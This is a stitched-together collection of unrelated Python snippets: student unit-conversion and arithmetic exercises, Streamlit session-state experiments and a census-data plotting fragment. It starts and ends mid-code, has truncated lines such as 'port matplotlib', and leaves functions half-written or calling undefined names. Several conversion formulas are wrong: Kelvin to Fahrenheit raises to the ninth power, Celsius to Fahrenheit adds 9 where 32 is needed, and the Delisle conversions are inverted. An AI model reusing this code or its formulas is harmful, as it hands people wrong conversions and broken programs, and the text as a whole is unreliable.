            print(f"Temperature converted from {temperature[1]}°F to {temperature[3]}°R  is {round(newValue,2)}°R ")
        elif convertFrom == temperature [2] and converTo == 'Delisle':
            newValue = (212 -value) * 5/6
            print(f"Temperature converted from {temperature[1]}°F to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # from Rankine (°R):
        elif convertFrom == 'Rankine' and converTo == 'Kelvin':
            newValue = value/1.8
            print(f"Temperature converted from {temperature[3]}°R to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == 'Rankine' and converTo =='Celsius':
            newValue = (value-491.67)*5/9
            print(f"Temperature converted from {temperature[3]}°R to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == 'Rankine' and converTo =='Fahrenheit':
            newValue = value-459.67
            print(f"Temperature converted from {temperature[3]}°R to {temperature[2]}°F is {round(newValue,2)}°F ")
        elif convertFrom == 'Rankine' and converTo == 'Delisle':
            newValue = (value-491.67) * 0.83333
            print(f"Temperature converted from {temperature[3]}°R to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # FROM D:
        elif convertFrom == 'Delisle' and converTo =='Kelvin':
            newValue = (373.15-value)*2/3
            print(f"Temperature converted from {temperature[4]}°D to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == 'Delisle' and converTo == 'Celsius':
            newValue = (value+100)/1.5000
            print(f"Temperature converted from {temperature[4]}°D to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == 'Delisle' and converTo =='Fahrenheit':
            newValue = ((value+100)*1.2000)+32
            print(f"Temperature converted from {temperature[4]}°D to {temperature[2]}°F is {round(newValue,2)}°F ")
        elif convertFrom == 'Delisle' and converTo == 'Rankine':
            newValue = ((value+100)*1.2000 )+491.67
            print(f"Temperature converted from {temperature[4]}°D to {temperature[3]}°R  is {round(newValue,2)}°D ")
        else: 
            print("Invalid inputs. ")
        """

    # From Kelvin:
    if convertFrom == 'K' and converTo == 'C':
        newValue = value-273.15
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °C is {round(newValue,2)}°C")
    elif convertFrom == 'K' and converTo == 'F':
        newValue= (((value-273.15)**9)/5)+32
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °F is {round(newValue,2)}°F")
    elif convertFrom == 'K' and converTo =='R':
        newValue = (value*9)/5
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °R is {round(newValue,2)}°R")
    elif convertFrom == 'K' and converTo =='D':
        newValue = ((373.15 - value)*3)/2
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °D is {round(newValue,2)}°D")


    # From Celsius 
        
    elif convertFrom =='C' and converTo=='K':
        newValue= value+273.15
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to {temperature[converTo]} K is {round(newValue,2)}K")
    elif convertFrom == 'C' and converTo == 'F':
        newValue = (value*9/5)+3**2
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to ({temperature[converTo]}) °F is {round(newValue,2)}°F")
    elif convertFrom == 'C' and converTo =='R':
        newValue = (value*9/5)+491.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to {temperature[converTo]}°R is {round(newValue,2)}°R")
    elif convertFrom == 'C' and converTo == 'D':
        newValue = ((100-value)*3)/2
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to ({temperature[converTo]}) °D  is {round(newValue,2)}°D ")
        
    # from Fahrenheit:
    elif convertFrom == 'F'and converTo =='K':
        newValue = (value+459.67)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) K  is {round(newValue,2)}K")
    elif convertFrom == 'F' and converTo =='C':
        newValue = (value -32)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'F' and converTo =='R':
        newValue = value + 459.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) °R  is {round(newValue,2)}°R ")
    elif convertFrom == 'F' and converTo == 'D':
        newValue = (212 -value) * 5/6
        print(f"Temperature converted from {temperature[convertFrom]} °F to {temperature[converTo]} °D  is {round(newValue,2)}°D ")
        
    # from Rankine (°R):
    elif convertFrom == 'R' and converTo == 'K':
        newValue = value/1.8
        print(f"Temperature converted from {temperature[convertFrom]} °R to {temperature[converTo]} K  is {round(newValue,2)}K")
    elif convertFrom == 'R' and converTo =='C':
        newValue = (value-491.67)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'R' and converTo =='F':
        newValue = value-459.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °F is {round(newValue,2)}°F ")
    elif convertFrom == 'R' and converTo == 'D':
        newValue = (value-491.67) * 0.83333
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °D  is {round(newValue,2)}°D ")
        
    # From D:
    elif convertFrom == 'D' and converTo =='K':
        newValue = (373.15-value)*2/3
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) K  is {round(newValue,2)}K")
    elif convertFrom == 'D' and converTo == 'C':
        newValue = (value+100)/1.5000
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'D' and converTo =='F':
        newValue = ((value+100)*1.2000)+32
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °F is {round(newValue,2)}°F ")
    elif convertFrom == 'D' and converTo == 'R':
        newValue = ((value+100)*1.2000 )+491.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °R  is {round(newValue,2)}°D ")
    else: 
        print("Invalid inputs. ")

#temperature_convert()
def length_convert():
    # Take user inputs: 
    value = input("Enter length value: ")
    convertFrom = input("Enter unit you want to convert from: ")
    converTo = input("Enter unit you want to convert to: ")
    # creat list that contains units:
    validUnits = ['m','in','ft','yd','mi','nm']
    # create a dictionary that has letters with their coressponding unit names:
    unitNames = {'m':'Metre',
    'in': 'Inch',
    'ft':'Feet',
    'yd': 'Yard',
    'mi':'Mile',
    'nm':'Nautical Mile'
    }
    converTo=converTo.lower()
    convertFrom=convertFrom.lower()

    # Validation:
    while True:
        try:
            value = float(value)
            if convertFrom not in validUnits or converTo not in validUnits:
                print("Unit Invalid. ")
            else:
                break

        except ValueError:
            print("Conversion faild")
    # Conver from meter:
    if convertFrom == 'm' and converTo == 'in':
        newvalue = value*39.3701
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'm' and converTo == 'ft':
        newvalue=value*3.28084
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'm' and converTo == 'yd':
        newvalue=value*1.094
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'm' and converTo == 'mi':
        newvalue=value/1609
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'm' and converTo == 'nm':
        newvalue=value*0.000539957
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from inch:
    if convertFrom == 'in' and converTo == 'm':
        newvalue = value/39.37
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'in' and converTo == 'ft':
        newvalue=value/12
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'in' and converTo == 'yd':
        newvalue=value/36
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'in' and converTo == 'mi':
        newvalue=value/63360
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'in' and converTo == 'nm':
        newvalue=value/72910
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from feet:
    if convertFrom == 'ft' and converTo == 'in':
        newvalue =value*12
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'ft' and converTo == 'm':
        newvalue=value/3.281
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'ft' and converTo == 'yd':
        newvalue=value/3
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'ft' and converTo == 'mi':
        newvalue=value/5280
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'ft' and converTo == 'nm':
        newvalue=value/6076
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Yard:
    if convertFrom == 'yd' and converTo == 'in':
        newvalue =value*36
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'yd' and converTo == 'm':
        newvalue=value/1.094
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'yd' and converTo == 'ft':
        newvalue=value*3
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'yd' and converTo == 'mi':
        newvalue=value/1760
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'yd' and converTo == 'nm':
        newvalue=value/2025
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Mile:
    if convertFrom == 'mi' and converTo == 'in':
        newvalue =value*63360
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'mi' and converTo == 'm':
        newvalue=value*1609
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'mi' and converTo == 'ft':
        newvalue=value*5280
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'mi' and converTo == 'yd':
        newvalue=value*1760
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'mi' and converTo == 'nm':
        newvalue=value/1.151
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Nautical Mile:
    if convertFrom == 'nm' and converTo == 'in':
        newvalue =value*72910
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'nm' and converTo == 'm':
        newvalue=value*1852
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'nm' and converTo == 'ft':
        newvalue=value*6076
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'nm' and converTo == 'yd':
        newvalue=value*2025
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'nm' and converTo == 'mi':
        newvalue=value*1.151
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to {round(newvalue,2)} mi. ")

#length_convert()
def mass_convert():
    # get user inputs:
    while True:
        try:

            value = input("Enter value of mass you want to convert: ")
            convertFrom = input("Enter unit you want to convert from (Kilogram (kg), Pound (lbs),Ounce (oz), Stone (st), Tons (t)): ")
            convertTo = input("Enter unit you want to convert to (Kilogram (kg), Pound (lbs),Ounce (oz), Stone (st), Tons (t)): ")
            validUnits =['kg', 'lbs', 'oz', 'st','t']
            unitNames = {
                'kg': 'Kilogram ', 
                'lbs': 'Pound ', 
                'oz': 'Ounce', 
                'st': 'Stone ',
                't':'Tons '
            }
            value = float(value)
            convertFrom=convertFrom.lower()
            convertTo=convertTo.lower()
            if convertFrom not in validUnits or convertTo not in validUnits:
                print("Invalid Units. ")
            else:
                break
        except ValueError:
            print("conversion faild")
    
    # convert from kg:
    if convertFrom == 'kg' and convertTo=='lbs':
        newvalue=value*2.205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='oz':
        newvalue=value*35.274
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='st':
        newvalue=value/6.35
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='t':
        newvalue=value/1000
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from pound:
    if convertFrom == 'lbs' and convertTo=='kg':
        newvalue=value/2.205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='oz':
        newvalue=value*16
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='st':
        newvalue=value/14
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='t':
        newvalue=value/2205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from Ounce:
    if convertFrom == 'oz' and convertTo=='kg':
        newvalue=value/35.274
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='lbs':
        newvalue=value/16
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='st':
        newvalue=value/224
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='t':
        newvalue=value/35270
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from Stone:
    if convertFrom == 'st' and convertTo=='kg':
        newvalue=value*6.35
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='lbs':
        newvalue=value*14
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='oz':
        newvalue=value*224
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='t':
        newvalue=value/157.5
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')

    # convert from Tones:
    if convertFrom == 't' and convertTo=='kg':
        newvalue=value*1000
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='lbs':
        newvalue=value*2205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='oz':
        newvalue=value*35270
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='st':
        newvalue=value*157.5
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
#mass_convert()

def area_convrt():
    while True:
        value = input("Enter area: ")
        convertFrom = input("Enter unit you want to conver area from: ")
        convertTo = input("Enter unit you want to conver area from: ")
        validUnits= ['km2', 'm2', 'ha', 'ac','in^2','ft2','yd2']
        unitNames = {

        }
        try:
            value = float(value)
            if convertFrom not in validUnits or convertTo not in validUnits:
                print("Invalid unit")
            else:
                break
        except ValueError:
            print("Conversion faild")
    
#area_convrt()
main()
import streamlit as st
from streamlit import session_state as ses

if "num_cases" not in ses:
    ses["num_cases"] = 3

delete_part = st.container()
        
if st.button("Add a row"):
    ses["num_cases"] += 1

cols = st.columns((1, 2))
for i in range(0, ses["num_cases"]):
    
    cols[1].write("")
    cols[1].write("")
    delete = cols[1].button(label="X", key="delete_" + str(i+1))
    
    with delete_part:
        st.write("delete")
        if delete:
            st.write("pressed")
            ses["num_cases"] -= 1
            st.write("text_" + str(i+1))
            cols[0].empty()
            cols[1].empty()
            del ses["text_" + str(i+1)]
    
    try:
        cols[0].text_input(label="Row " + str(i+1), key="text_" + str(i+1))
    except:
        pass


deletion = st.empty()
deletion.text_input(label="testing removability", key="removable")
if st.button("delete"):
    deletion.empty()
    del ses["removable"]



st.write(ses)
# ORRRRR save the inputs as "old" when submitting: ses["old_input"] = orig_input


import streamlit as st

st.set_page_config(page_title="PLAYGROUND", layout="wide")

# Init session states
if "num_changed" not in st.session_state:
    st.session_state["num_changed"] = False
if "select_changed" not in st.session_state:
    st.session_state["select_changed"] = False
if "old_res" not in st.session_state:
    st.session_state["old_res"] = 0
if "toggle_results" not in st.session_state:
    st.session_state["toggle_results"] = False

# on_change Changed fr selectbox, changed by selectbox is true so it can change the result input
def change_fr_select():
    st.write("Change fr select")
    st.session_state["select_changed"] = True
    st.session_state["num_changed"] = False

    st.session_state["toggle_results"] = False

    return

# on_change Changed fr num_input, changed by num_input is true to prevent result input from changing
def change_fr_num():
    st.write("Change fr num")
    st.session_state["num_changed"] = True
    st.session_state["select_changed"] = False

    st.session_state["toggle_results"] = True

    return

# Calc function
def calculate(num1, num2):
    st.write("num_changed", st.session_state["num_changed"])
    st.write("select_changed", st.session_state["select_changed"])
    st.write("toggle_results", st.session_state["toggle_results"])
    
    res = 0
    # selectbox has changed + we can calculate/overwrite input
    if st.session_state["select_changed"] == True:
        st.write("selectbox")
        res = num1 * num2
    # indep. num_input has changed + retain "old" answer result
    elif st.session_state["num_changed"]:
        st.write("num_input")
        res = st.session_state["old_res"]
    return res



# TODO checkbox to toggle between updated calculation or (manual) input

cols = st.columns((5, 5, 5, 5))

selection = cols[0].selectbox(label="Wheee", options=["one", "two", "three", "four"], on_change=change_fr_select)
assert selection is not None
list1 = {
    "one": 2,
    "two": 6,
    "three": 9,
    "four": 0
}
list2 = {
    "one": 1,
    "two": 8,
    "three": 4,
    "four": 3
}
num1 = cols[2].number_input(label="Num 1", value=list1[selection], on_change=change_fr_num)
num2 = cols[3].number_input(label="Num 2", value=list2[selection], on_change=change_fr_num)

together = calculate(num1, num2)
st.write(together)


result = cols[1].number_input(label="Result", value=together)
st.session_state["old_res"] = result
# TODO toggle b/w old and new results
if st.session_state["toggle_results"] == True:
    cols[1].checkbox("Different result detected!  Click to use new result", help="You changed one of the parameters used to estimate this value.  You can choose to use the estimation or keep your current value.")

st.write(st.session_state["select_changed"])
st.write(st.session_state["num_changed"])

st.markdown("---")






# Implementation
# num on_change Changed fr selectbox, changed by selectbox is true so it can change the num1 input
def change_fr_select(select_changed, num_changed, toggle_results):
    """ Change session state indicating that the selectbox has changed to determine if the num1 should be changed

        Arguments:
            select_changed {string} -- boolean session state indicating user changed selectbox value
            num_changed {string} -- boolean session state indicating user changed number_input value 
            toggle_results {string} -- boolean session state indicating we toggle option to switch between manual user input or recalculated modulus value
    """

    st.write("select")
    st.session_state[select_changed] = True     # user has changed selectbox value
    st.session_state[num_changed] = False       # thickness and density should not change modulus

    st.session_state[toggle_results] = False    # toggle whether recalculated modulus or manual input should not appear, selectbox should change the modulus 

    return



# select on_change
def select_on_change(select_changed, num_changed, old_result, toggle_results, index, case_n):
    st.write(select_changed, st.session_state[select_changed])
    st.write(num_changed, st.session_state[num_changed])
    st.write(toggle_results, st.session_state[toggle_results])

    res = 0
    # selectbox has changed + we can calculate/overwrite input
    if st.session_state[select_changed] == True:
        st.write("selectbox")
        st.session_state[old_result] = False
        res = 10**(31*st.session_state["num1_layer_" + str(index-1) + "_case_" + str(case_n)] - 1.89*((st.session_state["num2_layer_" + str(index-1) + "_case_" + str(case_n)]**29)))
    # indep. num_input has changed + retain "old" answer result
    elif st.session_state[num_changed] == True:
        st.write("num_input")
        st.session_state[old_result] = True

    return res


# num on_change Changed fr num_input, changed by number_input is true so it does NOT change the modulus input 
def change_fr_num(select_changed, num_changed, toggle_results):
    """ Change session state indicating that the bending stiffness thickness and/or density inputs have changed to determine if the modulus should be changed

        Arguments:
            select_changed {string} -- boolean session state indicating user changed selectbox value
            num_changed {string} -- boolean session state indicating user changed number_input value 
            toggle_results {string} -- boolean session state indicating we toggle option to switch between manual user input or recalculated modulus value
    """

    st.write("num")
    st.session_state[num_changed] = True        # num1 and num2 should change select
    st.session_state[select_changed] = False    # user has not changed selectbox value

    st.session_state[toggle_results] = True    # toggle whether recalculated modulus or manual input should appear, user can toggle between their own or recalculated value

    return
# write aprogram to calculate the volune and surface area of a cuboid:
"""
Take three inputs: 
1. height
2. width 
3. length 

"""
height=float(input("Enter the height: "))
width=float(input("Enter the width: "))
length=float(input("Enter the length: "))

# print the given information in two decimal places:
print(f"Given h = {round(height,2)}, w = {round(width,2)}, l = {round(length,2)}")

# calculate the volume:
volume= height*width*length
print(f"The volume is {round(volume,2)}cm3")

# calculate the surface area:
surface= 2*length*width+2*length*height+2*height*width
print(f"The surface area is {round(surface,2)}cm2")
# Weekly coding exercise:
"""
Thisprogram will calculate the tip and cost of the meal 
to be split between griends at a restaurant.

Take three inputs:
1. Total price of the meal
2. The percentage of tip to be given
3. The number of friends to split the cost by

"""
totalPrice= float(input("Enter the total price of the meal: "))
tip= float(input("Enter the the percentage of the tip to be given in (of 100): "))
friends= float(input("Enter the number of friends to split the bill by: "))
if tip>=totalPrice:
    print("Invalid tip or invalid meal price")
elif tip>100 or tip<0:
    print("Invalid tip")
elif friends<2:
    print("Need more friends to split the bill by")
else: 
    # calculate tip:
    calculateTip= (totalPrice)*(tip/100)
    # add tip to the price: 
    mealTip = (totalPrice)+(calculateTip)

    print(f"The meal total (with tip) is ${mealTip}")
    person = (mealTip)/(friends)

    print(f"Each person should pay ${round(person,2)}")
# weekly coding exercise propleam 1:
"""
This program will calculate the perimeter of a rectangle
Take two inputs:
1. width  
2. length 
- do some validation
- convert to float and 2 D.P

"""
width = input("Enter width in centimeters: ")
length = input("Enter length in centimeters: ")

p = 2*(float(width)+float(length))
if width == length:
    print("Incorrect inputs")
else:
    print(f"The perimeter of a rectangle with width {round(width,2)}cm and length{round(length,2)}cm is {round(p,2)}cm.")
import streamlit as st
import pandas as pd

@st.cache(show_spinner=False)
def excel_init():
    # Use database like in Bending Stiffness model
    orig_database_path = "/path/to/file.xlsx"      # local copy of the Excel database used in Bending Stiffness & Permeability model
    read_orig_database = r"" + orig_database_path
    sheet_name = "Database"
    
    # Read in the Resin/Materials from Carol's Excel file for getting data by column
    ses["read_table"] = pd.read_excel(read_orig_database, sheet_name=sheet_name, engine='openpyxl', skiprows=3)   # skip first 3 rows since they are either empty space or extra headers

    # Excel column header names from original materials database for easily reading the database column values
    ses["col1"] = ses["read_table"].columns[0]      # "Column 1"
    ses["col3"] = ses["read_table"].columns[2]      # "Column 3"
    ses["col6"] = ses["read_table"].columns[5]      # "Column 6"
    
    # Setting up list of materials for dropdown
    col1_pandas = pd.DataFrame(ses["read_table"][ses["col1"]].values)  # get col1 column values as pandas dataframe
    customize_options = pd.DataFrame(["[Placeholder]"])                                              # "blank" placeholder for any item not in the database
    ses["list_streamlit"] = pd.concat([customize_options, col1_pandas], axis=0)                       # axis=0 --> concat by row, axis=1 --> concat by col

    # Assign "Excel indices" for easy data retrieval (same applies to col3, col6, etc.) after user selects a material (need to start range at 1 since Excel is 1-based index, not 0-based)
    # we access the item by
    ses["col1_prefill_index"] = {}                                                         # [material_name_key]: [index_0-based_val]
    for i in range(1, len(ses["read_table"][ses["col1"]]) + 1):      # loop through col1 pandas dataframe "list"
        ses["col1_prefill_index"][ses["read_table"][ses["col1"]][i-1]] = i-1
    
    return
# Num cases + in session state
num_cases = st.selectbox('Select the number of cases for comparison, maximum of 12', [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], key="num_cases")


# Nav options: dynamically append/remove # of cases menu bar has
case_pages = {}
for x in range(1, st.session_state["num_cases"] + 1): case_pages["Case " + str(x)] = x

# "Slice" dictionary according to input for # of cases + case titles
# One-liner for iterating through dictionary for num_cases times to show both the case and the summary page names in the navigation "tabs"
case_pages_sliced = dict(itertools.islice(case_pages.items(), 0, st.session_state["num_cases"]))

# Add "Summary" option at end of options list
case_pages_sliced["Summary"] = 0
def group_by_owners(files):
  owners = {}
  for file, owner in files.items():
    if owner not in owners:
      owners[owner] = []
    owners[owner].append(file)
  return owners
import streamlit as st
import multipage_streamlit as mt


# Check preserved session state if you need to replace value with user input or material has changed with the multipage ses state library
def old_persistent_ses_state(old_extracted_val_ses, current_extracted_val_ses, extracted_input):
	""" Determines if preserved inputs can have its value replaced or not, via user input or material change

        Args:
            old_extracted_val_ses (string): session state of old input value to determine if value gets replaced or not
            current_extracted_val_ses (string): session state of current input value
            extracted_input (int): input value for current input
    """    
    
    if old_extracted_val_ses in ses and ses[old_extracted_val_ses]!=extracted_input and current_extracted_val_ses in ses: ses[current_extracted_val_ses] = extracted_input
    
    return


# app.py
app = mt.MultiPage()
app.add("Page 1", page_1.app)	# no parentheses or else it will run even when not selected!
app.add("Page 2", page_2.app)

# page_1.py
def app():
	select = st.selectbox(label="Input 1 Page 1", options=[1, 2, 3], key=state("input_1_page_1"))	# don't need to init session state, will default to first item/0 for num_input
	value = st.number_input(label="Input 2 Page 1", key=state("input_2_page_1", select))
	
	# Save old session state to prevent overwriting
    
port matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns

# creating a dictionary
sns.set_style("whitegrid")
plt.rc('font', size=16) #controls default text size
plt.rc('axes', titlesize=16) #fontsize of the title
plt.rc('axes', labelsize=16) #fontsize of the x and y labels
plt.rc('xtick', labelsize=16) #fontsize of the x tick labels
plt.rc('ytick', labelsize=16) #fontsize of the y tick labels
plt.rc('legend', fontsize=16) #fontsize of the legend

# load dataset - census income
census_income = pd.read_csv(r'../input/income/train.csv')

# define figure
fig, (ax1, ax2) = plt.subplots(2)
fig.set_size_inches(18.5, 10.5)

# plot age histogram
age_count = census_income.groupby(by=["age"])["age"].count()
ax1.bar(age_count.index, age_count, color='black')
ax1.set_ylabel("Counts")
ax1.set_xlabel("Age")

# binning age
def age_bins(age):
    if age < 29:
        return "1 - young"
    if age < 60 and age >= 29:
        return "2 - middle-aged"
    else:
        return "3 - old-aged"

# apply trans. function
census_income["age_bins"] = census_income["age"].apply(age_bins)

# group and count all entries in the same bin
age_bins_df = census_income.groupby(by=["age_bins"])["age_bins"].count()

ax2.bar(age_bins_df.index, age_bins_df, color='grey')
ax2.set_ylabel("Counts")
ax2.set_xlabel("Age")
# This program will convert a given mark to its corresponding grade:
# 1. Take user inputs:


mark = input("Ënter a mark between 0 to 100: ")

# repeat the process until the user enter q
while mark != 'q':
    mark=int(mark)
    if mark>100 or mark<0:
        print("Mark Invalid")
    elif mark>=0 and mark<= 49:
        print(f"Grade for {mark} is N (Fail)")
    elif mark>=50 and mark<= 59:
        print(f"Grade for {mark} is P (Pass)")
    elif mark>=60 and mark<= 69:
        print(f"Grade for {mark} is C (Credit)")
    elif mark>=70 and mark<= 79:
        print(f"Grade for {mark} is D (Distinction)")
    else:
        print(f"Grade for {mark} is HD (High Distinction)")
# get a new mark:
    mark = input("Ënter a mark between 0 to 100: ")
# this program is designed to help the user get the maultiplication series tables:

# 1. first take user inputs:
SeriesStart= int(input("Series Start value: "))
seriesEnd = int(input("Series End value: "))
# The first multiplication table: 
tableStart= int(input("Table Start Value: "))
# The last multiplication table: 
tableEnd= int(input("Table End Value: "))


if seriesEnd<=SeriesStart:
    print("Invalid End Value")
if tableEnd<= tableStart:
    print("Invalid ENd Value")
else:
    for i in range(SeriesStart,seriesEnd+1):
        # print a heading(i)
        print("multiplication table", i)
        for j in range (tableStart, tableEnd +1):
            print(j, 'X',i, '=', i*j)
# ask the user of the series of multiplication table they want it to be printed: 
multiple = int(input("Enter the multiplication table series to generat: "))
# set the first value in the table as 1:
value = 1

# To make sure that the multiplication table will be up to 12:
while value<=12:
    # Formula
    number = multiple * value
    # to print the result using required format:
    print(f"{value} x {multiple} = {number}")
    # in order to inctease the value by 1, using this syntax:
    value = value+1
# Basics of lists:
""""
monash = ["ENG1013", "ENG1012", "ENG1021", "MTH1020", [15082000, 'Shaghaf']]   
